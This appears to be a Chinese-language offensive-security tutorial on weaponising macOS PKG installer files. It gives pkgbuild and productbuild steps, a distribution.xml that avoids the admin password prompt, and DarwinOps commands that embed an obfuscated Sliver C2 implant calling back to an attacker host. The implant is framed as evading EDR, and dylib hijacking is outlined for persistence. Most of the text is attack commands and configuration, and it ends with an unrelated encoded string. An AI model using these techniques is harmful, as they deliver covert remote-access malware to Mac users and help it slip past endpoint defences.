当前技术现状
PKG文件在macOS系统中相当于Windows平台的.msi安装包。它们不仅用于安装应用程序、脚本、目录等内容,还附带了一个特别有趣的特性:preinstall和postinstall脚本。PKG由Apple的Installer二进制程序启动,安装时会提示用户输入管理员密码,以便以所需权限安装文件(如果用户当前会话没有管理员权限,则无法安装)。
使用原生工具pkgbuild生成PKG
pkgbuild \
--root /folder/i/want/to/install \
--identifier com.example.payload \
--version 1.0 \
payload.pkg
PKG文件必须经过签名(或者不能带有隔离标志),否则macOS会阻止其运行。但PKG有一个显著优势:与应用程序不同,签名后的PKG不会触发额外的警告提示。
如何改进这个攻击向量?
如前所述,PKG安装需要管理员密码,这会:
- 增加用户需要操作的点击次数(不理想)
- 如果用户权限不足,则无法启动payload
在下载大量PKG文件进行分析时,发现了一个有趣的安装选项:“仅为我安装”。点击后发现无需输入密码。这很值得深入探究。
如何创建提供此选项的PKG?
使用Productbuild
默认情况下,pkgbuild似乎没有提供相关命令选项,而productbuild可以解决这个问题。
关键在于distribution.xml配置文件,它可以添加各种选项,包括让用户选择安装位置的选项。
// 经典的distribution.xml文件
<?xml version="1.0" encoding="utf-8"?>
<installer-gui-script minSpecVersion="2">
<options customize="never" hostArchitectures="arm64"/>
<!-- 以下两个参数允许用户选择安装位置,包括安装到用户文件夹 -->
<domains enable_currentUserHome="true"/>
<title>enhanced pkg</title>
<choices-outline>
<line choice="default"/>
</choices-outline>
<choice id="default" visible="false" title="App">
<pkg-ref id="com.example.app"/>
</choice>
<pkg-ref id="com.example.app" version="1.0">installer.pkg</pkg-ref>
</installer-gui-script>
通过研究domains参数的其他选项,可以禁用特权安装,使用户级安装成为默认选项——且不再需要任何额外的用户交互。
命令行实现:
./darwin_ops -t CALC -G payload.pkg --pkg-no-elevation
PKG与C2结合:使用Sliver的高级包
接下来探讨如何使用DarwinOps将Sliver木马嵌入到PKG中。
generate --os macos --format macho --arch arm64 --http <ip>:<port> --skip-symbols
--skip-symbols是因为DarwinOps会自行处理混淆部分。
对于DarwinOps部分,有多个选项:直接输入payload并构建PKG(虽然可行但规避能力较弱),或者使用EmbedRun及其私有嵌入方法技巧,从而绕过EDR。
这里选择embedrun。至于嵌入方法,可根据需求和要绕过的EDR选择合适的方式。
内置文档提供了详细的选项说明,帮助用户做出选择。
./darwin_ops -t EMBED_RUN --embed ./C2/implant/LINEAR_VITALITY --embed-method classic -G ./Outputs/payload.pkg --obfuscate --pkg-no-elevation
实际上,PKG本身并不安装任何内容,而是利用其中一个脚本在embedrun内解压payload,并使用所选技术执行。
如何更进一步?
可以利用PKG文件"安装"的特性,通过dylib劫持程序来建立持久化。这在目标Mac受Santa等解决方案保护时特别有用。
为此,可以使用ENUM_BIN_INJECT枚举方案,该方案识别系统中可通过dylib注入的应用程序(无论是通过环境变量还是代理/顺序劫持)。
识别出目标Mac上存在的易受攻击应用程序后,可以制作一个PKG,同时嵌入恶意dylib和合法dylib(进程所需的),让恶意dylib代理调用合法dylib的功能。
具体细节将在下一篇文章中详细介绍,包括使用DarwinOps进行此操作的完整流程,以及用于初始访问的多种格式(包括PKG和DMG)。FINISHED CSD0tFqvECLokhw9aBeRqiAtBdroPKrTJORmTzK0GBgZWsFgYgIBpfB50FEBXBcaJQkdVsbuh1kd8VWZwTuvS2/8+4chYUORhFAzTecc9wkQncj8bSBqHrzCdH++8Fgi